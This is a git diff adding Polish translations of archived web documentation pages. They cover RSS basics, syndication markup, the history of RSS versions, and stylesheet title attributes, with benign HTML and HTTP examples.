+</p><p>Ten przewodnik zakłada, że masz jakiekolwiek doświadczenie z <a href="pl/HTML">HTML</a> (lub <a href="pl/XML">XML</a>) i jesteś obyty z podstawowymi <i>znacznikami</i>. Inaczej ujmując, kod taki jak poniżej nie sprawia Ci problemów:
+</p>
+<pre class="eval"> To jest z kod ze znacznikami &lt;b&gt;pogrubienia&lt;/b&gt;.
+</pre>
+<p>Jeśli opanowałeś dostatecznie znaczniki, nie powinnieneś mieć problemu z nauką RSS.
+</p>
+<div class="note">
+<p><b>Uwaga</b>: Jeśli NIE jesteś projektantem stron i NIE chcesz się nim stać, to ten przewodnik NIE jest dla Ciebie. Musisz swobodnie się poruszać w kwestii używania <i>znaczników</i>, takich jak w przykładzie powyżej, by efektywnie skorzystać z tego przewodnika.
+</p>
+</div>
+<h4 id="Co_jest_potrzebne_przed_rozpocz.C4.99cie_pracy.3F" name="Co_jest_potrzebne_przed_rozpocz.C4.99cie_pracy.3F"> Co jest potrzebne przed rozpoczęcie pracy? </h4>
+<p>Aby opanować większość tematów z tego przewodnika, będziesz potrzebować edytora tekstu i czytnika RSS. Musisz także wiedzieć, jak się nimi posługiwać.
+</p>
+<div class="note">
+<p><b>Uwaga</b>: Edytor tekstu nie jest tym samym, co edytor tekstowy. Upewnij się za każdym razem, że zapisujesz pliki RSS w zwykłym formacie tekstowym.
+</p>
+</div>
+<p>Nie jest wymagane, aby tworzyć pliki RSS opisane w tym przewodniku (możesz go czytać), jednak jest to mniej efektywny sposób nauki. Zachowasz i wchłoniesz więcej informacji, jeśli będziesz tworzyć własne pliki RSS razem z tym przewodnikiem.
+</p>
+<h4 id="Jak_nale.C5.BCy_korzysta.C4.87_z_przewodnika" name="Jak_nale.C5.BCy_korzysta.C4.87_z_przewodnika"> Jak należy korzystać z przewodnika </h4>
+<p>Pomimo iż każda strona jest napisana tak, aby mogła funkcjonować jako samodzielny przewodnik, to każda z nich zakłada, że posiadasz wiedzę zdobytą na poprzednich stronach tego przewodnika. Mimo że możesz przejść do wybranego przez Ciebie miejsca przewodnika, zalecamy aby początkujący przeczytali ten przewodnik we właściwej kolejności.
+</p>
+<h3 id="Przewodnik" name="Przewodnik"> Przewodnik </h3>
+<ol><li><b><a href="pl/RSS/Na_pocz%c4%85tek/Czym_jest_RSS">Czym jest RSS</a></b>
+</li><li><b><a href="pl/RSS/Na_pocz%c4%85tek/Dlaczego_u%c5%bcywamy_RSS">Dlaczego używamy RSS</a></b>
+</li><li><b><a href="pl/RSS/Na_pocz%c4%85tek/Jak_dzia%c5%82a_RSS">Jak działa RSS</a></b>
+</li><li><b><a href="pl/RSS/Na_pocz%c4%85tek/Hello_World">Hello World</a></b>
+</li><li><b><a href="pl/RSS/Na_pocz%c4%85tek/Syndykacja">Syndykacja</a></b>
+</li><li><b><a href="pl/RSS/Na_pocz%c4%85tek/Blogi">Blogi</a></b>
+</li><li><b><a href="pl/RSS/Na_pocz%c4%85tek/Transfer_danych">Transfer danych</a></b>
+</li><li><b><a href="pl/RSS/Na_pocz%c4%85tek/Mikroformaty">Mikroformaty</a></b>
+</li><li><b><a href="pl/RSS/Na_pocz%c4%85tek/Zaawansowany_transfer_danych">Zaawansowany transfer danych</a></b>
+</li></ol>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/RSS/Getting_Started", "es": "es/RSS/Primeros_pasos", "fr": "fr/RSS/Premiers_pas", "ja": "ja/RSS/Getting_Started" } ) }}
diff --git a/files/pl/archive/rss/na_początek/jak_działa_rss/index.html b/files/pl/archive/rss/na_początek/jak_działa_rss/index.html
new file mode 100644
index 0000000000..b2f083d1ba
--- /dev/null
+++ b/files/pl/archive/rss/na_początek/jak_działa_rss/index.html
@@ -0,0 +1,16 @@
+---
+title: Jak działa RSS
+slug: Archive/RSS/Na_początek/Jak_działa_RSS
+tags:
+ - RSS
+ - 'RSS:Na_początek'
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Getting_Started/How_RSS_Works
+---
+<p>
+</p><p>Strona ta, ma za zadanie wyjaśnienia nam jak działa RSS. Jeszcze teraz nie będziemy tworzyć własnego pliku RSS, lecz nauczymy się jak różne systemy służą do odczytu nagłówków wiadomości RSS. </p>
+<h3 id="Jak_dzia.C5.82a_RSS" name="Jak_dzia.C5.82a_RSS"> Jak działa RSS </h3>
+<p>Do pobrania nagłówków wiadomości RSS, dwa warunki muszą być spełnione: musi być <i>serwer</i> wysyłający i czytnik, który odczyta kanał. </p><p>Końcowym <i>serwerem</i> przesyłania nagłówków RSS jest część systemu, która tworzy kanał RSS. Strona nowości byłaby końcem <i>serwera</i>, gdzie można pobrać nagłówki wiadomości RSS. Blog byłby na serwerze końcem syndykacji RSS. IPradio wyświetla ostatnie nagłówki RSS wysłane z <i>serwera</i>. IPTV wyświetla ostatnie nagłówki RSS wysłane z <i>serwera</i>
+</p><p>Końcowy <i>klient</i> przesyłania nagłówków kanału RSS, jest to taka część, która wczytuje kanał RSS (czytnik). Przeglądarka Mozilla Firefox jest takim czytnikiem, czyli końcowym <i>klientem</i> do pobrania kanału RSS. Panel RSS powinien być wbudowany w czytnik RSS. Agregator RSS opart na stronie będzie po stronie <i>klienta</i> syndykacji RSS.
+</p><p>{{ PreviousNext("RSS:Na początek:Dlaczego używamy RSS", "RSS:Na początek:Hello World") }}
+</p>{{ languages( { "fr": "fr/RSS/Premiers_pas/Fonctionnement_de_RSS", "en": "en/RSS/Getting_Started/How_RSS_Works" } ) }}
diff --git a/files/pl/archive/rss/na_początek/syndykacja/index.html b/files/pl/archive/rss/na_początek/syndykacja/index.html
new file mode 100644
index 0000000000..fcd6b45d6f
--- /dev/null
+++ b/files/pl/archive/rss/na_początek/syndykacja/index.html
@@ -0,0 +1,76 @@
+---
+title: Syndykacja
+slug: Archive/RSS/Na_początek/Syndykacja
+tags:
+ - RSS
+ - 'RSS:Na_początek'
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Getting_Started/Syndicating
+---
+<p>
+</p><p>Strona ta wyjaśnia syndykacje strony z RSS. Dowiesz się jak zrobić, aby użytkownicy i maszyny mogły znaleźć Twój kanał RSS. </p>
+<h3 id="Czym_jest_syndykacja" name="Czym_jest_syndykacja"> Czym jest syndykacja </h3>
+<p><strong>Syndykacją</strong> (lub <strong>Syndykacją strony</strong>) jest moment utworzenia zawartości/treści dostępnej dla wszystkich, którzy chcą czytać, słuchać lub pooglądać nagłówki nowości. </p><p>RSS pomaga w syndykacji. RSS zorganizuje Twoją syndykacją do takiej formy, która zostanie w bardzo prosty sposób zrozumiana przez maszynę. </p><p>Syndykacja z RSS znaczy 3 rzeczy.
+</p>
+<ol><li> Utworzenie kanału RSS.
+</li><li> Dodaj specjalny element <code><a href="pl/HTML/Element/link">&lt;link&gt;</a></code> do kodu strony HTML.
+</li><li> Dodaj specjalny element <code><a href="pl/HTML/Element/a">&lt;a&gt;</a></code> do kodu strony HTML.
+</li></ol>
+<p>Do tej pory omówiliśmy punkt 1 -- Utworzenie kanału RSS -- więc skupimy się teraz na 2 i 3 punkcie.
+</p>
+<h3 id="Dodajemy_.3Clink.3E" name="Dodajemy_.3Clink.3E"> Dodajemy <code>&lt;link&gt;</code> </h3>
+<p>Często dane kanału RSS są również udostępniane na stronie HTML. W tym przypadku strona ta pozwala zarówno ludziom jak i maszynom na pobranie kanału za pomocą następującego kodu.
+</p>
+<pre>&lt;link rel="alternate" type="application/rss+xml" href="http://example.com/feed" /&gt;
+</pre>
+<p>Często ludzie chcą ogłaszać poprzez kanał RSS swoich twór (na przykład notki bloga). Można to zrobić w sposób następujący.
+</p>
+<pre>&lt;link rel="home" type="application/rss+xml" href="http://example.com/feed" /&gt;
+</pre>
+<p>Zauważ, że kod ten wygląda prawie tak samo jak poprzedni. Jedyna różnicą jest wartość atrybutu <code>rel</code> (poprzedni link posiada wartość atrybutu <code>rel</code> równą <code><b>alternate</b></code>. Powyższy atrybut <code><b>rel</b></code> posiada wartość <code><b>home</b></code>).
+</p>
+<div class="note">
+<p><b>Uwaga</b>: Zdarzały się nadużycia elementu <code>&lt;link&gt;</code> dla syndykacji RSS. Niektórzy blogerzy chcieli by inni mogli <em>subskrybować</em> ich blogi z jakiejkolwiek podstrony (a nie tylko z ich <em>strony domowej</em>). Powodowało to dodawanie wszędzie wielu elementów <code>&lt;link&gt;</code>, gdzie atrybut <code>rel="alternate"</code>. (Również we wpisach bloga, a nie tylko na <em>stronie domowej</em>.) Jest to niepoprawne! Używanie w tym przypadku przypisania <code>rel="alternate"</code> jest błędne. Powinno być przypisanie <code>rel="home"</code>. (Zobacz również artykuł <a href="pl/Understanding_rel_and_rev">Understanding rel and rev</a>). Ważną częścią używania elementu <code>&lt;link&gt;</code> do syndykacji kanału RSS jest wykorzystanie przypisania <code>type="application/rss+xml"</code>.
+</p>
+</div>
+<h3 id="Dodajemy_.3Ca.3E" name="Dodajemy_.3Ca.3E"> Dodajemy <code>&lt;a&gt;</code> </h3>
+<p>Kiedy używamy kodu HTML element <code><b>&lt;link&gt;</b></code> jest przeważnie <em>ukryty</em>. W celu przedstawienia kanału RSS w sposób bardziej bezpośredni można używać elementu <code><b>&lt;a&gt;</b></code> wykorzystując podobieństwo z elementem <code><b>&lt;link&gt;</b></code> opisanym powyżej.
+</p><p>Dla stworzenia odnośnika do strony HTML, na której dostępny jest również kanał RSS użyj:
+</p>
+<pre>&lt;a rel="alternate" type="application/rss+xml" href="http://example.com/feed"&gt;...&lt;/a&gt;
+</pre>
+<p>Dla stworzenia odnośnika do wpisu na blogu użyj:
+</p>
+<pre>&lt;a rel="home" type="application/rss+xml" href="http://example.com/feed"&gt;...&lt;/a&gt;
+</pre>
+<p>Zauważ, że powyższy kod jest prawie identyczny. Różni się tylko wartością atrybutu <code><b>rel</b></code>. (W poprzednim kodzie wartość atrybutu <code><b>rel</b></code> równa jest <code><b>alternate</b></code>. Natomiast w tym wartosc ta wynosi <code><b>home</b></code>.)
+</p>
+<h3 id="Ikona_kana.C5.82u" name="Ikona_kana.C5.82u"> Ikona kanału </h3>
+<p>Kanały RSS (i inne) używają specjalnej ikonki. Zalecane jest, abyś podczas tworzenia specjalnego linku <code>&lt;a&gt;</code> użył tej ikony do własnego kanału. Ikona wygląda następująco: </p>
+<dl><dd><img alt="Grafika:Feed-icon-32x32.png">
+</dd></dl>
+<p>Ze <a class="external" href="http://feedicons.com/">strony</a>, można pobrać o wiele więcej ikonek kanału RSS (są dostępne w innych rozmiarach i kolorach. Dostępne są także źródła plików).
+</p>
+<h3 id="Zaawansowane_techniki_syndykacji" name="Zaawansowane_techniki_syndykacji"> Zaawansowane techniki syndykacji </h3>
+<p>Pomimo, że zaawansowane techniki syndykacji nie są konieczne, ich wsparcie jest zalecane; zwłaszcza dla stron i aplikacji wymagających dużych wydajności.
+Protokół <a href="pl/HTTP">HTTP</a> -- jeden z podstawowych technologii sieciowych -- dostarczający metodę prioretyzacji treści, jaka klient HTTP preferuje otrzymywać. Ta technika wykorzystuje <em>preferowanie</em> syndykacji RSS przez klienta (niż HTML lub inne formaty). Poniżej przedstawiamy przykład.
+</p>
+<pre>Accept: application/rss+xml, text/html
+</pre>
+<p>Jednakże w oprogramowaniu może to wyglądać następująco:
+</p>
+<pre>Accept: application/rss+xml, application/xhtml+xml, text/html
+</pre>
+<p>Tutaj znajduje się więcej w pełni gotowych przykładów:
+</p>
+<pre>GET / HTTP/1.1
+Host: example.com
+Accept: application/rss+xml, application/xhtml+xml, text/html
+</pre>
+<p>Po otrzymaniu tego przez serwer HTTP powinno nastąpić przekierowanie klienta HTTP do kanału RSS za pomocą <code>HTTP 302 Found</code>. Podobnie do:
+</p>
+<pre>HTTP/1.1 302 Found
+Location: http://example.com/feed
+</pre>
+<p>{{ PreviousNext("RSS:Na początek:Hello World", "RSS:Na początek:Blogi") }}
+</p>{{ languages( { "en": "en/RSS/Getting_Started/Syndicating", "fr": "fr/RSS/Premiers_pas/Syndication" } ) }}
diff --git a/files/pl/archive/rss/wersje/0.90/index.html b/files/pl/archive/rss/wersje/0.90/index.html
new file mode 100644
index 0000000000..41a0757a63
--- /dev/null
+++ b/files/pl/archive/rss/wersje/0.90/index.html
@@ -0,0 +1,85 @@
+---
+title: '0.90'
+slug: Archive/RSS/Wersje/0.90
+tags:
+ - RSS
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Version/0.90
+---
+<p>
+</p><p>{{ Deprecated_header() }}
+</p>
+<h2 id="RSS_0.90" name="RSS_0.90"> RSS 0.90 </h2>
+<p>RSS 0.90 jest najwcześniejszą znaną wersją RSS, opublikowaną jako pełną wersje i została zastąpiona przez wersje <a href="pl/RSS/Wersje/0.91/Netscape/Wersja_1">Netscape'a RSS 0.91 (Wersja 1)</a>. Stworzony został przez firmę Netscape, aby być formatem metadanych, które dostarczają podsumowanie ze stron internetowych (i nie tylko był formatem syndykacji, tak jak to jest na dzień dzisiejszy). </p><p>RSS 0.90 jest oparty na formacie <a href="pl/RDF">RDF</a>.
+</p><p>Podczas tworzenia RSS 0.90, inicjalizacja RSS rozumie go jako <b>Rich Site Summary</b>, a nie jako <b>Really Simple Syndication</b>. (Zobacz <a href="pl/RSS/What_is_in_a_Name">RSS - What is in a Name</a> aby dowiedzieć się więcej nt. historii i stosowanych nazwach poszczególnych wersji.)
+</p>
+<div class="note">
+<p><b>NOTATKA</b>: RSS 0.90 został wycofany (<b>deprected</b>). Osoby tworzące kanał RSS <i>NIE POWINY</i> tworzyć kanału RSS w wersji 0.90 i <i>POWINNI</i> zamiast tego używać nigdy nie wycofanej wersji formatu RSS. (Zobacz <a href="pl/RSS/Wersje">listę wersji RSS</a>, aby zobaczyć, który format nie jest formatem wycofanym). Użytkownicy RSS <i>POWINNi</i> wciąż być chociaż zdolni zaakceptować kanał RSS 0.90.
+</p>
+</div>
+<p><br>
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>RSS 0.90 wygląda podobnie do poniżeszego kodu:
+</p>
+<pre class="eval"> <span class="nowiki">
+ &lt;?xml version="1.0"?&gt;
+
+ &lt;rdf:RDF
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns="http://my.netscape.com/rdf/simple/0.9/"
+ &gt;
+
+ &lt;channel&gt;
+ &lt;title&gt;Mozilla Dot Org&lt;/title&gt;
+ &lt;link&gt;http://www.mozilla.org&lt;/link&gt;
+ &lt;description&gt;the Mozilla Organization web site&lt;/description&gt;
+ &lt;/channel&gt;
+
+ &lt;image&gt;
+ &lt;title&gt;Mozilla&lt;/title&gt;
+ &lt;url&gt;http://www.mozilla.org/images/moz.gif&lt;/url&gt;
+ &lt;link&gt;http://www.mozilla.org&lt;/link&gt;
+ &lt;/image&gt;
+
+ &lt;item&gt;
+ &lt;title&gt;New Status Updates&lt;/title&gt;
+ &lt;link&gt;http://www.mozilla.org/status/&lt;/link&gt;
+ &lt;/item&gt;
+
+ &lt;item&gt;
+ &lt;title&gt;Bugzilla Reorganized&lt;/title&gt;
+ &lt;link&gt;http://www.mozilla.org/bugs/&lt;/link&gt;
+ &lt;/item&gt;
+
+ &lt;item&gt;
+ &lt;title&gt;Mozilla Party, 2.0!&lt;/title&gt;
+ &lt;link&gt;http://www.mozilla.org/party/1999/&lt;/link&gt;
+ &lt;/item&gt;
+
+ &lt;item&gt;
+ &lt;title&gt;Unix Platform Parity&lt;/title&gt;
+ &lt;link&gt;http://www.mozilla.org/build/unix.html&lt;/link&gt;
+ &lt;/item&gt;
+
+ &lt;item&gt;
+ &lt;title&gt;NPL 1.0M published&lt;/title&gt;
+ &lt;link&gt;http://www.mozilla.org/NPL/NPL-1.0M.html&lt;/link&gt;
+ &lt;/item&gt;
+
+ &lt;/rdf:RDF&gt;
+ </span>
+</pre>
+<p>Note that here, RSS is being used to list sections of the web site. Rather than for syndication.
+</p><p><br>
+</p>
+<h3 id="Specyfikacje" name="Specyfikacje"> Specyfikacje </h3>
+<p>Oryginalna specyfikacja RSS 0.90 znikneła z oryginalnego adresu strony
+</p>
+<dl><dd> <span class="nowiki">http://my.netscape.com/publish/help/quickstart.html</span>
+</dd></dl>
+<p>Kopie zostały zapisane i można je zobaczyć: </p>
+<ul><li> <a href="http://www.purplepages.ie/RSS/netscape/rss0.90.html" class=" external" rel="freelink">http://www.purplepages.ie/RSS/netscape/rss0.90.html</a>
+</li><li> <a href="http://web.archive.org/web/*/http://my.netscape.com/publish/help/quickstart.html" class=" external" rel="freelink">http://web.archive.org/web/*/http://...uickstart.html</a>
+</li></ul>
+{{ languages( { "en": "en/RSS/Version/0.90", "ja": "ja/RSS/Version/0.90" } ) }}
diff --git a/files/pl/archive/rss/wersje/0.91/index.html b/files/pl/archive/rss/wersje/0.91/index.html
new file mode 100644
index 0000000000..e407e5e780
--- /dev/null
+++ b/files/pl/archive/rss/wersje/0.91/index.html
@@ -0,0 +1,18 @@
+---
+title: '0.91'
+slug: Archive/RSS/Wersje/0.91
+tags:
+ - RSS
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Version/0.91
+---
+<p>
+</p>
+<h2 id="RSS_0.91" name="RSS_0.91"> RSS 0.91 </h2>
+<p>Poniżej znajdują się 3 różne wersje RSS 0.91:
+</p>
+<ul><li> <a href="pl/RSS/Wersje/0.91/Netscape/Wersja_1">Netscape RSS 0.91 (Wersja 1)</a>
+</li><li> <a href="pl/RSS/Wersje/0.91/Netscape/Wersja_3">Netscape RSS 0.91 (Wersja 3)</a>
+</li><li> <a href="pl/RSS/Wersje/0.91/Userland">Userland RSS 0.91</a>
+</li></ul>
+{{ languages( { "en": "en/RSS/Version/0.91", "ja": "ja/RSS/Version/0.91" } ) }}
diff --git a/files/pl/archive/rss/wersje/index.html b/files/pl/archive/rss/wersje/index.html
new file mode 100644
index 0000000000..cc6cbdc0af
--- /dev/null
+++ b/files/pl/archive/rss/wersje/index.html
@@ -0,0 +1,31 @@
+---
+title: Wersje
+slug: Archive/RSS/Wersje
+tags:
+ - RSS
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Version
+---
+<p>
+</p>
+<h2 id="Wersje_RSS" name="Wersje_RSS"> Wersje RSS </h2>
+<p>RSS posiada złożoną historię. Różni ludzie i grupy tworzyły niepowiązane ze sobą standardy o nazwie RSS. Niektóre formaty RSS-a bazują na <a href="pl/XML">XML</a>-u. Inne na <a href="pl/RDF">RDF</a>-ie.
+</p><p>Poniższa lista przedstawia wszystkie znane wersje RSS-a. Są one poukładane w kolejności chronologicznej.
+</p>
+<div class="note">
+<p><b>Uwaga</b>: RSS 1.0, na poniższej liście wydaje się być nie na miejscu na jakim powinno się znajdować. Jednak, ze względu na kolejność chronologiczna, takie właśnie miejsce mu się należy.
+</p>
+</div>
+<div class="note">
+<p><b>Uwaga</b>: Istnieją trzy, różne, wersje <a href="pl/RSS/Wersje/0.91">RSS-a 0.91</a>. RSS 0.91 Netscape'a (Wersja 1), RSS 0.91 Netscape'a Wersja 3 oraz RSS 0.91 Userland'a. Mówiąc szczegółowo, RSS 0.91 Userland'a jest podzbiorem RSS 0.91 Netscape'a.
+</p>
+</div>
+<div class="note">
+<p><b>Uwaga</b>: RSS 0.93 i RSS 0.94 zostały wydane tylko jako "szkice" i nigdy nie stały się "finalne" więc nie zostały nigdy przeznaczone do użycia.
+</p>
+</div>
+<p><br>
+</p>
+<table class="standard-table"> <tbody><tr> <th>Nazwa</th> <th>Status</th> <th>Data wydania</th> <th>Bazuje na</th> <th>Autor</th> </tr> <tr> <td><a href="pl/RSS/Wersje/0.90">RSS 0.90</a></td> <td>{{ Deprecated_inline() }}</td> <td class="small">marzec 1999</td> <td><a href="pl/RDF">RDF</a></td> <td class="small">Netscape</td> </tr> <tr> <td><a href="pl/RSS/Wersje/0.91/Netscape/Wersja_1">RSS 0.91 Netscape (Wersja 1)</a></td> <td>{{ Deprecated_inline() }}</td> <td class="small">?</td> <td><a href="pl/XML">XML</a></td> <td class="small">Netscape</td> </tr> <tr> <td><a href="pl/RSS/Wersje/0.91/Netscape/Wersja_3">RSS 0.91 Netscape (Wersja 3)</a></td> <td>{{ Obsolete_inline() }}</td> <td class="small">10 lipiec 1999</td> <td><a href="pl/XML">XML</a></td> <td class="small">Netscape</td> </tr> <tr> <td><a href="pl/RSS/Wersje/0.91/Userland">RSS 0.91 Userland</a></td> <td>{{ Deprecated_inline() }}</td> <td class="small">4 czerwca 2000</td> <td><a href="pl/XML">XML</a></td> <td class="small">Userland</td> </tr> <tr> <td><a href="pl/RSS/Wersje/1.0">RSS 1.0</a></td> <td>Standard</td> <td class="small">9 grudzień 2000</td> <td><a href="pl/RDF">RDF</a></td> <td class="small">Grupa robocza RSS-DEV</td> </tr> <tr> <td><a href="pl/RSS/Wersje/0.92">RSS 0.92</a></td> <td>{{ Deprecated_inline() }}</td> <td class="small">25 grudzień 2000</td> <td><a href="pl/XML">XML</a></td> <td class="small">Userland</td> </tr> <tr> <td><a href="pl/RSS/Wersje/0.93">RSS 0.93</a></td> <td>{{ Deprecated_inline() }}</td> <td class="small">20 kwiecień 2001</td> <td><a href="pl/XML">XML</a></td> <td class="small">Userland</td> </tr> <tr> <td><a href="pl/RSS/Wersje/0.94">RSS 0.94</a></td> <td>{{ Deprecated_inline() }}</td> <td class="small">19 sierpień 2002</td> <td><a href="pl/XML">XML</a></td> <td class="small">Userland</td> </tr> <tr> <td><a href="pl/RSS/Wersje/2.0">RSS 2.0</a></td> <td>{{ Deprecated_inline() }}</td> <td class="small">wrzesień 2002</td> <td><a href="pl/XML">XML</a></td> <td class="small">Userland</td> </tr> <tr> <td><a href="pl/RSS/Wersje/2.0/2002-11-11">RSS 2.0 (po 2002-11-11)</a></td> <td>{{ Deprecated_inline() }}</td> <td class="small">11 listopad 2002</td> <td><a href="pl/XML">XML</a></td> <td class="small">Userland</td> </tr> <tr> <td><a href="pl/RSS/Wersje/2.0/2003-01-21">RSS 2.0 (po 2003-01-21)</a></td> <td>Standard</td> <td class="small">21 styczeń 2003</td> <td><a href="pl/XML">XML</a></td> <td class="small">Userland</td> </tr>
+</tbody></table>
+{{ languages( { "en": "en/RSS/Version", "es": "es/RSS/Versiones", "fr": "fr/RSS/Version", "ja": "ja/RSS/Version" } ) }}
diff --git a/files/pl/archive/standardy_www/index.html b/files/pl/archive/standardy_www/index.html
new file mode 100644
index 0000000000..2ebda169bd
--- /dev/null
+++ b/files/pl/archive/standardy_www/index.html
@@ -0,0 +1,67 @@
+---
+title: Standardy WWW
+slug: Archive/Standardy_WWW
+translation_of: Archive/Web_Standards
+---
+<div><strong>Standardy WWW</strong> zostały stworzone w celu zagwarantowania wszystkim internautom długoterminowej kompatybilności w odczycie stron WWW. Projektowanie i pisanie z wykorzystaniem tych standardów upraszcza produkcję i obniża jej koszty, a tak stworzone produkty stają się dostępne dla większej ilości odbiorców i przeglądarek internetowych. Strony tworzone zgodnie z tymi regułami będą działały prawidłowo w przyszłych wersjach obecnych przeglądarek internetowych, a także w nowych urządzeniach odbiorczych, które w przyszłości pojawią się na rynku {{ Ref(1) }}.</div>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 id="Dokumentacja" name="Dokumentacja"><a href="/Special:Tags?tag=Standardy_WWW&amp;language=pl" title="Special:Tags?tag=Standardy_WWW&amp;language=pl">Dokumentacja</a></h2>
+
+ <dl>
+ <dt><a href="/pl/Wyb%C3%B3r_zgodno%C5%9Bci_ze_standardami_zamiast_praktyk_w%C5%82asno%C5%9Bciowych" title="pl/Wybór_zgodności_ze_standardami_zamiast_praktyk_własnościowych">Wybór zgodności ze standardami zamiast praktyk własnościowych</a></dt>
+ <dd><small>W świecie programistów istnieje potrzeba standardów, ponieważ aplikacje są tworzone w wielu niezależnych grupach.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a href="/pl/Firefox_-_potrzeba_wolno%C5%9Bci" title="pl/Firefox_-_potrzeba_wolności">Firefox - potrzeba wolności</a></dt>
+ <dd><small>Prezentacja z konferencji <a class="external" href="http://www.isoc.org.pl/2005/woadm/">Wolne oprogramowanie w administracji publicznej</a> na temat roli wolnych standardów w projektach publicznych.</small></dd>
+ </dl>
+
+ <p><br>
+ <span class="alllinks"><a href="/Special:Tags?tag=Standardy_WWW&amp;language=pl" title="Special:Tags?tag=Standardy_WWW&amp;language=pl">Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h2 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2>
+
+ <ul>
+ <li>Obejrzyj fora Mozilli...</li>
+ </ul>
+
+ <p>{{ DiscussionList("dev-web-development", "mozilla.dev.web-development") }}</p>
+
+ <ul>
+ <li><a class="external" href="http://webstandards.org/">Projekt standardów sieciowych</a></li>
+ <li><a class="external" href="http://webdevfeedhouse.com/">WebDev FeedHouse</a></li>
+ <li><a href="/pl/Standardy_WWW/Spo%C5%82eczno%C5%9B%C4%87" title="pl/Standardy_WWW/Społeczność">Inne linki...</a></li>
+ </ul>
+
+ <h2 id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h2>
+
+ <ul>
+ <li><a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=60&amp;application=firefox">Rozszerzenie Web Developer</a></li>
+ <li><a class="external" href="http://validator.w3.org/">Walidator (W3C)</a></li>
+ <li><a class="external" href="http://jigsaw.w3.org/css-validator/">Walidator CSS (W3C)</a></li>
+ </ul>
+
+ <p><span class="alllinks"><a href="/Special:Tags?tag=Standardy_WWW:Narz%C4%99dzia&amp;language=pl" title="Special:Tags?tag=Standardy_WWW:Narzędzia&amp;language=pl">Pokaż wszystkie...</a></span></p>
+
+ <h2 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h2>
+
+ <dl>
+ <dd><a href="/pl/CSS" title="pl/CSS">CSS</a>, <a href="/pl/DHTML" title="pl/DHTML">DHTML</a>, <a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/Programowanie_WWW" title="pl/Programowanie_WWW">Programowanie WWW</a>, <a href="/pl/XHTML" title="pl/XHTML">XHTML</a>, <a href="/pl/XML" title="pl/XML">XML</a></dd>
+ </dl>
+
+ <p> </p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<hr>
+<p><small>{{ Note(1) }} - <a class="external" href="http://webstandards.org/">The Web Standards Project</a></small></p>
+
+<p><span class="comment">Categories</span></p>
diff --git a/files/pl/archive/standardy_www/poprawne_użycie_tytułów_w_zewnętrznych_arkuszach_stylów/index.html b/files/pl/archive/standardy_www/poprawne_użycie_tytułów_w_zewnętrznych_arkuszach_stylów/index.html
new file mode 100644
index 0000000000..19412f9bd7
--- /dev/null
+++ b/files/pl/archive/standardy_www/poprawne_użycie_tytułów_w_zewnętrznych_arkuszach_stylów/index.html
@@ -0,0 +1,40 @@
+---
+title: Poprawne użycie tytułów w zewnętrznych arkuszach stylów
+slug: Archive/Standardy_WWW/Poprawne_użycie_tytułów_w_zewnętrznych_arkuszach_stylów
+tags:
+ - CSS
+ - Wszystkie_kategorie
+translation_of: Archive/Web_Standards/Correctly_Using_Titles_With_External_Stylesheets
+---
+<p>
+</p><p>Zewnętrzne arkusze stylów są zwykle łączone z dokumentami HTML przy użyciu elementu <code>link</code>, ale niezwykle ważnym jest właściwe użycie atrybutów tego elementu. Ponieważ istnieją trzy rodzaje arkuszy stylów, atrybut <code>title</code> jest niezbędny do określenia dwóch z nich. Obecność atrybutu <code>title</code> w elemencie <code>link</code> odwołującym się do zewnętrznego arkusza stylów może sprawić, że stanie się on <i>preferowanym arkuszem stylów</i>. W większości przypadków spowoduje to zignorowanie zewnętrznego arkusza stylów, co zwykle nie jest tym, czego życzył sobie autor.
+</p>
+<h3 id="Dlaczego_tytu.C5.82_si.C4.99_liczy.3F"> Dlaczego tytuł się liczy? </h3>
+<p>Atrybut <code>title</code> wpływa na sposób w jaki zewnętrzny arkusz stylów będzie zastosowany w dokumencie. Użycie atrybutu <code>title</code> jest tak charakterystyczne, że specyfikacja HTML 4.01 dzieli arkusze stylów ze względu na jego obecność lub jej brak. Poprzez użycie atrybutu <code>title</code> można kontrolować, kiedy dany arkusz stylów zawsze stosuje się do dokumentu, czy też jest używany tylko w niektórych, specyficznych przypadkach.
+</p><p>Istnieją trzy rodzaje arkuszy stylów: <i>stałe</i>, <i>preferowane</i> oraz <i>alternatywne</i>. Najbardziej znanymi autorom będą stałe arkusze stylów, których dowolna ilość może być jednocześnie użyta w dokumencie. Stałym arkuszem stylów jest taki, który nie ma atrybutu <code>title</code>, a wartością atrybutu <code>rel</code> jest <code>stylesheet</code>. Dokument może się odwoływać do jednego lub więcej stałych arkuszy stylów, z których wszystkie są używane podczas prezentacji dokumentu.
+</p><p>Preferowanym arkuszem stylów jest natomiast taki, który ma do atrybutu <code>rel</code> przypisaną wartość <code>stylesheet</code> i posiada dowolną wartość atrybutu <code>title</code>. Poniżej dwa przykłady:
+</p>
+<pre>&lt;link type="text/css" rel="stylesheet" title="Style podstawowe" href="basic.css" /&gt;
+&lt;link type="text/css" rel="stylesheet" title="Ryby i łódki" href="ocean.css" /&gt;</pre>
+<p>W specyfikacji HTML 4.01 określone jest, iż tylko <b>jeden</b> z preferowanych arkuszy stylów może być użyty w danym momencie. W związku z tym, patrząc na powyższy przykład, tylko jeden z podanych dwóch preferowanych arkuszy stylów będzie zastosowany w dokumencie. W specyfikacji brak procedury decydującej o tym, który z podanych arkuszy stylów powinien być użyty, wobec czego przeglądarki mają wolny wybór, który arkusz stylów zastosują.
